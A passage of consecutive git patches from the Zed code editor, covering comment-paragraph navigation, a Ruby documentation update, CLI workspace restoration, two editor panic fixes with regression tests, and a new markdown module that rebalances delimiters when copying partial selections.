+                    (point < from_point && is_paragraph_start(row)).then_some(point)
+                })
+            }
+        }
+    };
+
+    match target {
+        Some(point) => map.clip_point(point.to_display_point(map), Bias::Right),
+        None => from,
+    }
+}
+
 pub fn start_of_excerpt(
     map: &DisplaySnapshot,
     display_point: DisplayPoint,
diff --git a/crates/editor/src/navigation.rs b/crates/editor/src/navigation.rs
index 4f9880c438bdf6..471f68b16b84dd 100644
--- a/crates/editor/src/navigation.rs
+++ b/crates/editor/src/navigation.rs
@@ -608,6 +608,68 @@ impl Editor {
         })
     }
 
+    pub fn move_to_next_comment_paragraph(
+        &mut self,
+        _: &MoveToNextCommentParagraph,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if matches!(self.mode, EditorMode::SingleLine) {
+            cx.propagate();
+            return;
+        }
+        // Keep the destination paragraph near the top of the viewport so the
+        // whole paragraph below the caret stays visible after a jump.
+        self.change_selections(
+            SelectionEffects::scroll(Autoscroll::top_relative(5.0)),
+            window,
+            cx,
+            |s| {
+                s.move_with(&mut |map, selection| {
+                    selection.collapse_to(
+                        movement::comment_paragraph(
+                            map,
+                            selection.head(),
+                            workspace::searchable::Direction::Next,
+                        ),
+                        SelectionGoal::None,
+                    )
+                });
+            },
+        )
+    }
+
+    pub fn move_to_previous_comment_paragraph(
+        &mut self,
+        _: &MoveToPreviousCommentParagraph,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if matches!(self.mode, EditorMode::SingleLine) {
+            cx.propagate();
+            return;
+        }
+        // Keep the destination paragraph near the top of the viewport so the
+        // whole paragraph below the caret stays visible after a jump.
+        self.change_selections(
+            SelectionEffects::scroll(Autoscroll::top_relative(5.0)),
+            window,
+            cx,
+            |s| {
+                s.move_with(&mut |map, selection| {
+                    selection.collapse_to(
+                        movement::comment_paragraph(
+                            map,
+                            selection.head(),
+                            workspace::searchable::Direction::Prev,
+                        ),
+                        SelectionGoal::None,
+                    )
+                });
+            },
+        )
+    }
+
     pub fn select_to_start_of_paragraph(
         &mut self,
         _: &SelectToStartOfParagraph,

From c93b4cd9cc10a9e0e78d5f82aec83b61e2cbc5d1 Mon Sep 17 00:00:00 2001
From: Vitaly Slobodin <vitaliy.slobodin@gmail.com>
Date: Thu, 9 Jul 2026 09:54:36 +0200
Subject: [PATCH 353/772] ruby: Mention `kanayago` and `fuzzy-ruby-server` in
 the documentation (#60640)

# Objective

Hi! This PR updates the Ruby doc to mention 2 language servers
`kanayago` and `fuzzy-ruby-server`.

## Testing

N/A

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

N/A

---

Release Notes:

- N/A
---
 docs/src/languages/ruby.md | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/docs/src/languages/ruby.md b/docs/src/languages/ruby.md
index 475c7e26cd08e2..585eee0b6e279c 100644
--- a/docs/src/languages/ruby.md
+++ b/docs/src/languages/ruby.md
@@ -15,6 +15,8 @@ Ruby support is available through the [Ruby extension](https://github.com/zed-ex
   - [solargraph](https://github.com/castwide/solargraph)
   - [rubocop](https://github.com/rubocop/rubocop)
   - [Herb](https://herb-tools.dev)
+  - [kanayago](https://github.com/S-H-GAMELINKS/kanayago)
+  - [fuzzy-ruby-server](https://github.com/doompling/fuzzy_ruby_server)
 - Debug Adapter: [`rdbg`](https://github.com/ruby/debug)
 
 The Ruby extension also provides support for ERB files.
@@ -34,6 +36,8 @@ In addition to these two language servers, Zed also supports:
 - [sorbet](https://sorbet.org/) which is a static type checker for Ruby with a custom gradual type system.
 - [steep](https://github.com/soutaro/steep) which is a static type checker for Ruby that uses Ruby Signature (RBS).
 - [Herb](https://herb-tools.dev) which is a language server for ERB files.
+- [kanayago](https://github.com/S-H-GAMELINKS/kanayago) which is a Ruby language server that makes Ruby's parser available as a gem.
+- [fuzzy-ruby-server](https://github.com/doompling/fuzzy_ruby_server) which is a Ruby language server designed for large codebases, using full-text search for fast, fuzzy search results that approximate Ruby's behavior.
 
 When configuring a language server, it helps to open the LSP Logs window using the 'dev: Open Language Server Logs' command. You can then choose the corresponding language instance to see any logged information.
 
@@ -43,7 +47,7 @@ The [Ruby extension](https://github.com/zed-extensions/ruby) offers both `solarg
 
 ### Language Server Activation
 
-For all supported Ruby language servers (`solargraph`, `ruby-lsp`, `rubocop`, `sorbet`, and `steep`), the Ruby extension follows this activation sequence:
+For all supported Ruby language servers (`solargraph`, `ruby-lsp`, `rubocop`, `sorbet` and `steep`), the Ruby extension follows this activation sequence:
 
 1. If the language server is found in your project's `Gemfile`, it will be used through `bundle exec`.
 2. If not found in the `Gemfile`, the Ruby extension will look for the executable in your system `PATH`.

From 4d6762ad6b83c55326997553ab53d66e8eaaa716 Mon Sep 17 00:00:00 2001
From: Bennet Bo Fenner <bennet@zed.dev>
Date: Thu, 9 Jul 2026 10:20:29 +0200
Subject: [PATCH 354/772] cli: Restore workspace by default when
 `cli_default_open_behavior="new_window"` (#60652)

Closes #60325, Follow up to #59415

Fixes an issue where launching Zed from the cli (just `zed`, no path)
would not restore the previous window when using
`cli_default_open_behavior: new_window`

Release Notes:

- cli: Fixed an issue where the previous workspace would not be restored
when using `cli_default_open_behavior: new_window` and no path was
provided
---
 crates/zed/src/zed/open_listener.rs | 80 +++++++++++++++++++++++++++--
 1 file changed, 75 insertions(+), 5 deletions(-)

diff --git a/crates/zed/src/zed/open_listener.rs b/crates/zed/src/zed/open_listener.rs
index fd0705d5d94028..d59e80a35d2350 100644
--- a/crates/zed/src/zed/open_listener.rs
+++ b/crates/zed/src/zed/open_listener.rs
@@ -818,10 +818,7 @@ async fn open_workspaces(
 ) -> Result<()> {
     if paths.is_empty()
         && diff_paths.is_empty()
-        && !matches!(
-            open_behavior,
-            cli::OpenBehavior::AlwaysNew | cli::OpenBehavior::PreferNewWindow
-        )
+        && !matches!(open_behavior, cli::OpenBehavior::AlwaysNew)
     {
         return restore_or_create_workspace(app_state, cx).await;
     }
@@ -1109,7 +1106,8 @@ mod tests {
     use remote::SshConnectionOptions;
     use rope::Rope;
     use serde_json::json;
-    use std::{sync::Arc, task::Poll};
+    use session::Session;
+    use std::{path::Path, sync::Arc, task::Poll};
     use util::path;
     use workspace::{AppState, MultiWorkspace};
 
@@ -2653,6 +2651,78 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_e2e_new_window_setting_restores_workspace_when_no_paths(cx: &mut TestAppContext) {
+        let app_state = init_test(cx);
+
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/project"), json!({ "file.txt": "content" }))
+            .await;
+
+        cx.update(|cx| {
+            settings::SettingsStore::update_global(cx, |store, cx| {
+                store.update_user_settings(cx, |settings| {
+                    settings.workspace.cli_default_open_behavior =
+                        Some(settings::CliDefaultOpenBehavior::NewWindow);
+                });
+            });
+        });
+
+        let session_id = cx.read(|cx| app_state.session.read(cx).id().to_owned());
+
+        open_workspace_file(path!("/project"), Default::default(), app_state.clone(), cx).await;
+        assert_eq!(cx.windows().len(), 1);
+
+        let multi_workspace = cx.windows()[0].downcast::<MultiWorkspace>().unwrap();
+        let serialization_tasks = multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                multi_workspace.flush_all_serialization(window, cx)
+            })
+            .unwrap();
+        futures::future::join_all(serialization_tasks).await;
+
+        multi_workspace
+            .update(cx, |_, window, _| window.remove_window())
+            .unwrap();
+        cx.run_until_parked();
+        assert_eq!(cx.windows().len(), 0);
+
+        cx.update(|cx| {
+            app_state.session.update(cx, |app_session, _cx| {
+                app_session.replace_session_for_test(Session::test_with_old_session(session_id));
+            });
+        });
+
+        let (status, prompt_shown) = run_cli_with_zed_handler(
+            cx,
+            app_state,
+            make_cli_open_request(Vec::new(), cli::OpenBehavior::Default),
+            None,
+        );
+
+        assert_eq!(status, 0);
+        assert!(
+            !prompt_shown,
+            "no prompt should be shown when no windows exist"
+        );
+        assert_eq!(cx.windows().len(), 1);
+
+        let restored_window = cx.windows()[0].downcast::<MultiWorkspace>().unwrap();
+        restored_window
+            .read_with(cx, |multi_workspace, cx| {
+                let root_paths = multi_workspace.workspace().read(cx).root_paths(cx);
+                assert!(
+                    root_paths
+                        .iter()
+                        .any(|path| path.as_ref() == Path::new(path!("/project"))),
+                    "expected CLI launch with no paths to restore /project, got {root_paths:?}"
+                );
+            })
+            .unwrap();
+    }
+
     #[gpui::test]
     async fn test_e2e_new_window_setting_opens_project_root_in_new_window(cx: &mut TestAppContext) {
         let app_state = init_test(cx);

From 0bc9c99f00c92befc855273fd7e662137a136191 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Thu, 9 Jul 2026 11:20:36 +0200
Subject: [PATCH 355/772] Invalidate hover state when a multibuffers paths
 change (#60443)

Fixes a panic when multibuffer paths change under a cursor hover
Fixes ZED-9W1
Closes FR-112

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/editor/src/editor.rs | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 87589880b53416..a8ec9667ca8402 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -9568,6 +9568,9 @@ impl Editor {
                 ranges,
                 path_key,
             } => {
+                if let Some(hovered_link_state) = self.hovered_link_state.as_mut() {
+                    hovered_link_state.symbol_range = None;
+                }
                 self.refresh_document_highlights(cx);
                 let buffer_id = buffer.read(cx).remote_id();
                 if self.buffer.read(cx).diff_for(buffer_id).is_none()

From 9cdaff1492ce85a796dd845e83c6457a6be311da Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Thu, 9 Jul 2026 11:20:39 +0200
Subject: [PATCH 356/772] editor: Fix panic removing blocks in split diff with
 companion edit at EOF (#60445)

BlockMap::sync unwrapped the transform cursor for every edit, assuming
each edit's old.start lands strictly inside the old transform tree. The
companion (split-diff) branch of sync can compose an edit anchored at
the trailing boundary of the old transforms, leaving the cursor past the
end of the tree and aborting the process on the None unwrap. Only bind
the transform when there are rows preceding the edit.

Fixes ZED-9V4.
Closes FR-113


Release Notes:

- N/A or Added/Fixed/Improved ...
---
 crates/editor/src/display_map/block_map.rs | 64 +++++++++++++++++++++-
 1 file changed, 62 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/display_map/block_map.rs b/crates/editor/src/display_map/block_map.rs
index c8e1a4424b1156..1a7b9d27d0d448 100644
--- a/crates/editor/src/display_map/block_map.rs
+++ b/crates/editor/src/display_map/block_map.rs
@@ -963,9 +963,14 @@ impl BlockMap {
             // Ensure the edit starts at a transform boundary.
             // If the edit starts within an isomorphic transform, preserve its prefix
             // If the edit lands within a replacement block, expand the edit to include the start of the replaced input range
-            let transform = cursor.item().unwrap();
+            // The cursor can sit past the end of the tree when a companion edit
+            // is anchored at the new end-of-file and maps to `old_start` at the
+            // very end of the old transforms; in that case there is no transform
+            // preceding the edit and nothing to preserve.
             let transform_rows_before_edit = old_start - *cursor.start();
-            if transform_rows_before_edit > RowDelta(0) {
+            if transform_rows_before_edit > RowDelta(0)
+                && let Some(transform) = cursor.item()
+            {
                 if transform.block.is_none() {
                     // Preserve any portion of the old isomorphic transform that precedes this edit.
                     push_isomorphic(
@@ -5019,6 +5024,61 @@ mod tests {
         );
     }
 
+    // Regression test for ZED-9V4: `BlockMap::sync` walks the (old) transform
+    // tree with a `WrapRow` cursor and used to `cursor.item().unwrap()` for
+    // every edit, assuming each edit's `old.start` lands strictly inside the
+    // tree. The companion (split-diff) branch of `sync` can compose an edit
+    // anchored at the trailing boundary of the old transforms
+    // (`old.start == input_rows`), at which point the cursor is past the end of
+    // the tree and `item()` is `None`. That used to abort the process.
+    #[gpui::test]
+    fn test_sync_edit_anchored_at_end_of_transforms(cx: &mut gpui::TestAppContext) {
+        cx.update(init_test);
+
+        let buffer = cx.update(|cx| MultiBuffer::build_simple("aaa\nbbb\nccc\n", cx));
+        let buffer_snapshot = cx.update(|cx| buffer.read(cx).snapshot(cx));
+        let subscription = buffer.update(cx, |buffer, _| buffer.subscribe());
+
+        let (mut inlay_map, inlay_snapshot) = InlayMap::new(buffer_snapshot);
+        let (mut fold_map, fold_snapshot) = FoldMap::new(inlay_snapshot);
+        let (mut tab_map, tab_snapshot) = TabMap::new(fold_snapshot, 4.try_into().unwrap());
+        let (wrap_map, old_wrap_snapshot) =
+            cx.update(|cx| WrapMap::new(tab_snapshot, test_font(), px(14.0), None, cx));
+        let block_map = BlockMap::new(old_wrap_snapshot.clone(), 0, 0);
+
+        // The tree now spans exactly `old_end` input rows.
+        let old_end = old_wrap_snapshot.max_point().row() + RowDelta(1);
+
+        // Grow the buffer so the new snapshot is larger than the old transforms.
+        let buffer_snapshot = buffer.update(cx, |buffer, cx| {
+            buffer.edit(
+                [(Point::new(3, 0)..Point::new(3, 0), "ddd\neee\n")],
+                None,
+                cx,
+            );
+            buffer.snapshot(cx)
+        });
+        let (inlay_snapshot, inlay_edits) =
+            inlay_map.sync(buffer_snapshot, subscription.consume().into_inner());
+        let (fold_snapshot, fold_edits) = fold_map.read(inlay_snapshot, inlay_edits);
+        let (tab_snapshot, tab_edits) =
+            tab_map.sync(fold_snapshot, fold_edits, 4.try_into().unwrap());
+        let (new_wrap_snapshot, _) = wrap_map.update(cx, |wrap_map, cx| {
+            wrap_map.sync(tab_snapshot, tab_edits, cx)
+        });
+        let new_end = new_wrap_snapshot.max_point().row() + RowDelta(1);
+
+        // An edit anchored exactly at the end of the old transforms, of the shape
+        // the companion branch of `sync` can produce.
+        let edits = Patch::new(vec![text::Edit {
+            old: old_end..old_end,
+            new: old_end..new_end,
+        }]);
+
+        let snapshot = block_map.read(new_wrap_snapshot, edits, None);
+        assert_eq!(snapshot.snapshot.text(), "aaa\nbbb\nccc\nddd\neee\n");
+    }
+
     fn init_test(cx: &mut gpui::App) {
         let settings = SettingsStore::test(cx);
         cx.set_global(settings);

From 8f907c5ee1ab5525e01456d0b8fd489b0de21e57 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Thu, 9 Jul 2026 16:35:04 +0530
Subject: [PATCH 357/772] markdown: Improve selection copying to always yield
 valid markdown (#60657)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes https://github.com/zed-industries/zed/issues/59083
Closes https://github.com/zed-industries/zed/issues/42958
Closes https://github.com/zed-industries/zed/issues/59612

This PR improve selection copy of Agent Panel and Markdown Preview such
that copied text is always valid markdown, following how VSCode handles
it. The partial selection of styled text would not copy broken syntax
like `bold**` or ```inline code` ``` like before.

Now we follow simple rule:

> Selecting any part, no matter from where, copies it as its markdown.
Except when the selection sits entirely inside a single inline code
span, in which case we copy plain text, for terminal and code use cases.

Examples:

This is **bold** text, this is *italic* text, and this is `code` all `in
one` sentence.

- selecting only bold → `**bold**`
- selecting normal text and partial bold → `is is **bo**`
- selecting a single code span completely → `code`
- selecting partial code → `od`
- selecting partial text and code → `` his is `cod` ``
- selecting multiple code spans partially → `` `ode` all `in o` ``
- selecting multiple code spans end to end → `` `code` all `in one` ``

Nested spans, like **bold with `code` inside**:

- partial text in bold → `**ld wi**`
- partial code in bold → ``**`od`**``
- full code in bold → ``**`code`**``
- the whole sentence → ``**bold with `code` inside**``

Links, like [Visit Rust's website](https://rust.org):

- partial link text → `[bsite](https://rust.org)`
- full link text → `[Visit Rust's website](https://rust.org)`

How it works:

Selection boundaries that land inside delimiter syntax (`**`, backticks,
etc.) first snap out so no delimiter is left half-selected. Then any
spans the selection cuts through get their delimiters re-added,
outermost first, so nested styling stays balanced. Only the root blocks
containing the two selection boundaries are inspected, everything in
between is copied right as is, which also keeps this cheap on large
documents.

Release Notes:

- Improved copying selected text in Agent Panel and Markdown Preview.
Partial selections of styled text now copy as well-formed markdown, and
selections within a single inline code span copy as plain text.
---
 .../src/conversation_view/thread_view.rs      |   2 +-
 crates/markdown/src/markdown.rs               |  42 +-
 crates/markdown/src/selection.rs              | 598 ++++++++++++++++++
 .../src/markdown_preview_view.rs              |   6 +-
 4 files changed, 637 insertions(+), 11 deletions(-)
 create mode 100644 crates/markdown/src/selection.rs

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index fe8b7b29233acd..086466981200f6 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -7402,7 +7402,7 @@ impl ThreadView {
                                         block.markdown()
                                     }
                                 };
-                                md.map_or(false, |m| m.read(cx).selected_text().is_some())
+                                md.map_or(false, |m| m.read(cx).has_selection())
                             })
                         })
                         .unwrap_or(false);
diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 69f5aa320838e6..a4651e5d7e5550 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -2,6 +2,7 @@ pub mod html;
 mod mermaid;
 pub mod parser;
 mod path_range;
+mod selection;
 
 use base64::Engine as _;
 use futures::FutureExt as _;
@@ -808,12 +809,15 @@ impl Markdown {
         output.into()
     }
 
-    pub fn selected_text(&self) -> Option<String> {
+    pub fn has_selection(&self) -> bool {
+        self.selection.end > self.selection.start
+    }
+
+    pub fn selected_source(&self) -> Option<&str> {
         if self.selection.end <= self.selection.start {
-            None
-        } else {
-            Some(self.source[self.selection.start..self.selection.end].to_string())
+            return None;
         }
+        self.source.get(self.selection.start..self.selection.end)
     }
 
     pub fn set_search_highlights(
@@ -873,7 +877,9 @@ impl Markdown {
         if self.selection.end <= self.selection.start {
             return;
         }
-        let text = self.source[self.selection.start..self.selection.end].to_string();
+        let text = self
+            .parsed_markdown
+            .rebalanced_markdown_for_selection(self.selection.start..self.selection.end);
         cx.write_to_clipboard(ClipboardItem::new_string(text));
     }
 
@@ -884,8 +890,10 @@ impl Markdown {
     ) {
         let range = self.selection.start..self.selection.end;
         if range.end > range.start {
-            self.context_menu_selected_markdown =
-                Some(SharedString::new(&self.source[range.clone()]));
+            self.context_menu_selected_markdown = Some(SharedString::new(
+                self.parsed_markdown
+                    .rebalanced_markdown_for_selection(range.clone()),
+            ));
             self.context_menu_selected_text = rendered_text
                 .map(|text| text.text_for_range(range))
                 .map(SharedString::new)
@@ -910,8 +918,9 @@ impl Markdown {
         self.context_menu_selected_text.as_ref()
     }
 
-    /// Returns the raw markdown source that was selected when the most recent
-    /// context menu invocation happened.
+    /// Returns the markdown that was selected when the most recent context
+    /// menu invocation happened, rebalanced via
+    /// [`ParsedMarkdown::rebalanced_markdown_for_selection`].
     pub fn context_menu_selected_markdown(&self) -> Option<&SharedString> {
         self.context_menu_selected_markdown.as_ref()
     }
@@ -1207,6 +1216,21 @@ impl ParsedMarkdown {
 
         Some(partition.saturating_sub(1))
     }
+
+    /// Extracts the markdown source for a selection, rebalancing inline
+    /// delimiters (`**`, backticks, link syntax, etc.) so partial selections of
+    /// styled spans stay well-formed.
+    ///
+    /// With an exception of a single inline code span, which is returned as plain
+    /// text, since copying a command or identifier is the dominant use case there.
+    pub fn rebalanced_markdown_for_selection(&self, selection: Range<usize>) -> String {
+        selection::rebalanced_markdown_for_selection(
+            &self.source,
+            &self.events,
+            &self.root_block_starts,
+            selection,
+        )
+    }
 }
 
 pub enum AutoscrollBehavior {
diff --git a/crates/markdown/src/selection.rs b/crates/markdown/src/selection.rs
new file mode 100644
index 00000000000000..9e7851b549bcd5
--- /dev/null
+++ b/crates/markdown/src/selection.rs
@@ -0,0 +1,598 @@
+use crate::parser::{MarkdownEvent, MarkdownTag, MarkdownTagEnd};
+use std::ops::Range;
+
+struct InlineSpan {
+    range: Range<usize>,
+    content: Range<usize>,
+    is_code: bool,
+}
+
+impl InlineSpan {
+    fn opening<'a>(&self, source: &'a str) -> &'a str {
+        source
+            .get(self.range.start..self.content.start)
+            .unwrap_or("")
+    }
+
+    fn closing<'a>(&self, source: &'a str) -> &'a str {
+        source.get(self.content.end..self.range.end).unwrap_or("")
+    }
+}
+
+fn is_inline_span_tag(tag: &MarkdownTag) -> bool {
+    matches!(
+        tag,
+        MarkdownTag::Emphasis
+            | MarkdownTag::Strong
+            | MarkdownTag::Strikethrough
+            | MarkdownTag::Superscript
+            | MarkdownTag::Subscript
+            | MarkdownTag::Link { .. }
+    )
+}
+
+fn is_inline_span_tag_end(tag: &MarkdownTagEnd) -> bool {
+    matches!(
+        tag,
+        MarkdownTagEnd::Emphasis
+            | MarkdownTagEnd::Strong
+            | MarkdownTagEnd::Strikethrough
+            | MarkdownTagEnd::Superscript
+            | MarkdownTagEnd::Subscript
+            | MarkdownTagEnd::Link
+    )
+}
+
+fn inline_code_full_range(source: &str, content: &Range<usize>) -> Range<usize> {
+    let opening_ticks = source[..content.start]
+        .bytes()
+        .rev()
+        .take_while(|&byte| byte == b'`')
+        .count();
+    let closing_ticks = source[content.end..]
+        .bytes()
+        .take_while(|&byte| byte == b'`')
+        .count();
+    let ticks = opening_ticks.min(closing_ticks);
+    content.start - ticks..content.end + ticks
+}
+
+fn collect_inline_spans(source: &str, events: &[(Range<usize>, MarkdownEvent)]) -> Vec<InlineSpan> {
+    fn note_child(stack: &mut [(Range<usize>, Option<Range<usize>>)], child: &Range<usize>) {
+        for (_, content) in stack.iter_mut() {
+            match content {
+                Some(content) => content.end = content.end.max(child.end),
+                None => *content = Some(child.clone()),
+            }
+        }
+    }
+
+    let mut spans = Vec::new();
+    let mut stack: Vec<(Range<usize>, Option<Range<usize>>)> = Vec::new();
+    for (event_range, event) in events {
+        match event {
+            MarkdownEvent::Start(tag) if is_inline_span_tag(tag) => {
+                note_child(&mut stack, event_range);
+                stack.push((event_range.clone(), None));
+            }
+            MarkdownEvent::End(tag) if is_inline_span_tag_end(tag) => {
+                if let Some((range, content)) = stack.pop() {
+                    let content = content.unwrap_or(range.clone());
+                    spans.push(InlineSpan {
+                        range,
+                        content,
+                        is_code: false,
+                    });
+                }
+                note_child(&mut stack, event_range);
+            }
+            MarkdownEvent::Code | MarkdownEvent::SubstitutedCode(_) => {
+                let range = inline_code_full_range(source, event_range);
+                note_child(&mut stack, &range);
+                spans.push(InlineSpan {
+                    range,
+                    content: event_range.clone(),
+                    is_code: true,
+                });
+            }
+            _ => note_child(&mut stack, event_range),
+        }
+    }
+    spans
+}
+
+pub(crate) fn rebalanced_markdown_for_selection(
+    source: &str,
+    events: &[(Range<usize>, MarkdownEvent)],
+    root_block_starts: &[usize],
+    selection: Range<usize>,
+) -> String {
+    let Some(selection) = snap_to_char_boundaries(source, selection) else {
+        return String::new();
+    };
+
+    let (start_events, end_events) = boundary_block_events(events, root_block_starts, &selection);
+    let mut spans = collect_inline_spans(source, start_events);
+    spans.extend(collect_inline_spans(source, end_events));
+
+    let Some(selection) = snap_out_of_delimiters(&spans, selection) else {
+        return String::new();
+    };
+
+    if selection_is_only_inside_code_spans(&spans, &selection) {
+        return source[selection].to_string();
+    }
+
+    rebalance_delimiters(source, &spans, &selection)
+}
+
+/// Returns the events of the root blocks containing each selection boundary.
+/// The second slice is empty when both boundaries share a block.
+fn boundary_block_events<'a>(
+    events: &'a [(Range<usize>, MarkdownEvent)],
+    root_block_starts: &[usize],
+    selection: &Range<usize>,
+) -> (
+    &'a [(Range<usize>, MarkdownEvent)],
+    &'a [(Range<usize>, MarkdownEvent)],
+) {
+    if root_block_starts.is_empty() {
+        return (events, &[]);
+    }
+    let start_block = root_block_index(root_block_starts, selection.start);
+    let end_block = root_block_index(root_block_starts, selection.end);
+    let start_events = root_block_events(events, root_block_starts, start_block);
+    if end_block == start_block {
+        (start_events, &[])
+    } else {
+        (
+            start_events,
+            root_block_events(events, root_block_starts, end_block),
+        )
+    }
+}
+
+fn root_block_index(root_block_starts: &[usize], offset: usize) -> usize {
+    root_block_starts
+        .partition_point(|block_start| *block_start <= offset)
+        .saturating_sub(1)
+}
+
+fn root_block_events<'a>(
+    events: &'a [(Range<usize>, MarkdownEvent)],
+    root_block_starts: &[usize],
+    block: usize,
+) -> &'a [(Range<usize>, MarkdownEvent)] {
+    let Some(&block_start) = root_block_starts.get(block) else {
+        return events;
+    };
+    let start = events.partition_point(|(range, _)| range.start < block_start);
+    let end = match root_block_starts.get(block + 1) {
+        Some(&next_block_start) => {
+            events.partition_point(|(range, _)| range.start < next_block_start)
+        }
+        None => events.len(),
+    };
+    events.get(start..end).unwrap_or(events)
+}
+
+fn snap_to_char_boundaries(source: &str, selection: Range<usize>) -> Option<Range<usize>> {
+    let mut start = selection.start.min(source.len());
+    let mut end = selection.end.min(source.len());
+    if start >= end {
+        return None;
+    }
+    while start > 0 && !source.is_char_boundary(start) {
+        start -= 1;
+    }
+    while end < source.len() && !source.is_char_boundary(end) {
+        end += 1;
+    }
+    Some(start..end)
+}
+
+/// Shrinks selection boundaries that fall inside delimiter syntax (`**`,
+/// etc.) so no delimiter is left half-selected:
+///
+/// - an end in `**bold*|*` snaps back to `**bold|**`
+/// - a start in `*|*bold**` snaps forward to `**|bold**`
+///
+/// This repeats until stable, since snapping can land inside a nested span's
+/// delimiter. Returns `None` if the selection becomes empty.
+fn snap_out_of_delimiters(spans: &[InlineSpan], selection: Range<usize>) -> Option<Range<usize>> {
+    let mut start = selection.start;
+    let mut end = selection.end;
+    loop {
+        let mut changed = false;
+        for span in spans {
+            if end > span.range.start && end <= span.content.start {
+                end = span.range.start;
+                changed = true;
+            } else if end > span.content.end && end <= span.range.end {
+                end = span.content.end;
+                changed = true;
+            }
+            if start >= span.range.start && start < span.content.start {
+                start = span.content.start;
+                changed = true;
+            } else if start >= span.content.end && start < span.range.end {
+                start = span.range.end;
+                changed = true;
+            }
+        }
+        if !changed {
+            break;
+        }
+    }
+    (start < end).then(|| start..end)
+}
+
+fn selection_is_only_inside_code_spans(spans: &[InlineSpan], selection: &Range<usize>) -> bool {
+    let contains = |span: &InlineSpan| {
+        span.content.start <= selection.start && selection.end <= span.content.end
+    };
+    spans.iter().any(|span| span.is_code && contains(span))
+        && !spans.iter().any(|span| !span.is_code && contains(span))
+}
+
+/// Re-adds delimiters cut off by the selection so the result is well-formed
+/// markdown:
+///
+/// - selecting `old te` in `**bold text**` yields `**old te**`
+/// - nested spans are reopened outermost first: selecting `alic` in
+///   `**bold _italic_**` yields `**_alic_**`
+fn rebalance_delimiters(source: &str, spans: &[InlineSpan], selection: &Range<usize>) -> String {
+    let nesting_order = |a: &&InlineSpan, b: &&InlineSpan| {
+        a.range
+            .start
+            .cmp(&b.range.start)
+            .then(b.range.end.cmp(&a.range.end))
+    };
+
+    let mut open_at_start = spans
+        .iter()
+        .filter(|span| span.content.start <= selection.start && selection.start < span.content.end)
+        .collect::<Vec<_>>();
+    open_at_start.sort_by(nesting_order);
+
+    let mut open_at_end = spans
+        .iter()
+        .filter(|span| span.content.start < selection.end && selection.end <= span.content.end)
+        .collect::<Vec<_>>();
+    open_at_end.sort_by(nesting_order);
+
+    let mut result = String::new();
+    for span in &open_at_start {
+        result.push_str(span.opening(source));
+    }
+    result.push_str(&source[selection.clone()]);
+    for span in open_at_end.iter().rev() {
+        result.push_str(span.closing(source));
+    }
+
+    result
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::parser::parse_markdown_with_options;
+    use util::test::marked_text_ranges;
+
+    fn markdown_for(source: &str, selection: Range<usize>) -> String {
+        let parsed = parse_markdown_with_options(source, false, false, false);
+        rebalanced_markdown_for_selection(
+            source,
+            &parsed.events,
+            &parsed.root_block_starts,
+            selection,
+        )
+    }
+
+    fn markdown_for_marked(marked_source: &str) -> String {
+        let (source, selection) = marked_range(marked_source);
+        markdown_for(&source, selection)
+    }
+
+    #[track_caller]
+    fn assert_marked_selection(marked_source: &str, expected: &str) {
+        assert_eq!(
+            markdown_for_marked(marked_source),
+            expected,
+            "source: {marked_source:?}"
+        );
+    }
+
+    #[track_caller]
+    fn marked_range(marked_source: &str) -> (String, Range<usize>) {
+        let (source, ranges) = marked_text_ranges(marked_source, false);
+        match ranges.as_slice() {
+            [selection] => (source, selection.clone()),
+            _ => panic!("expected exactly one «» range in marked source"),
+        }
+    }
+
+    fn inline_spans(source: &str) -> Vec<InlineSpan> {
+        let parsed = parse_markdown_with_options(source, false, false, false);
+        collect_inline_spans(source, &parsed.events)
+    }
+
+    #[track_caller]
+    fn assert_snapped(marked_selection: &str, marked_expected: Option<&str>, message: &str) {
+        let (source, selection) = marked_range(marked_selection);
+        let expected = marked_expected.map(|marked_expected| {
+            let (expected_source, range) = marked_range(marked_expected);
+            assert_eq!(
+                expected_source, source,
+                "expected must be marked on the same source"
+            );
+            range
+        });
+        assert_eq!(
+            snap_out_of_delimiters(&inline_spans(&source), selection),
+            expected,
+            "{message}"
+        );
+    }
+
+    #[test]
+    fn test_snap_out_of_delimiters() {
+        assert_snapped(
+            "**«bold»** rest",
+            Some("**«bold»** rest"),
+            "boundaries already in content must be untouched",
+        );
+        assert_snapped(
+            "*«*bold»** rest",
+            Some("**«bold»** rest"),
+            "a start in the opening delimiter must advance into the content",
+        );
+        assert_snapped(
+            "**«bold*»* rest",
+            Some("**«bold»** rest"),
+            "an end in the closing delimiter must retreat to the content end",
+        );
+        assert_snapped(
+            "**bold*«* rest»",
+            Some("**bold**« rest»"),
+            "a start in the closing delimiter must advance past the whole span",
+        );
+        assert_snapped(
+            "«*»*bold** rest",
+            None,
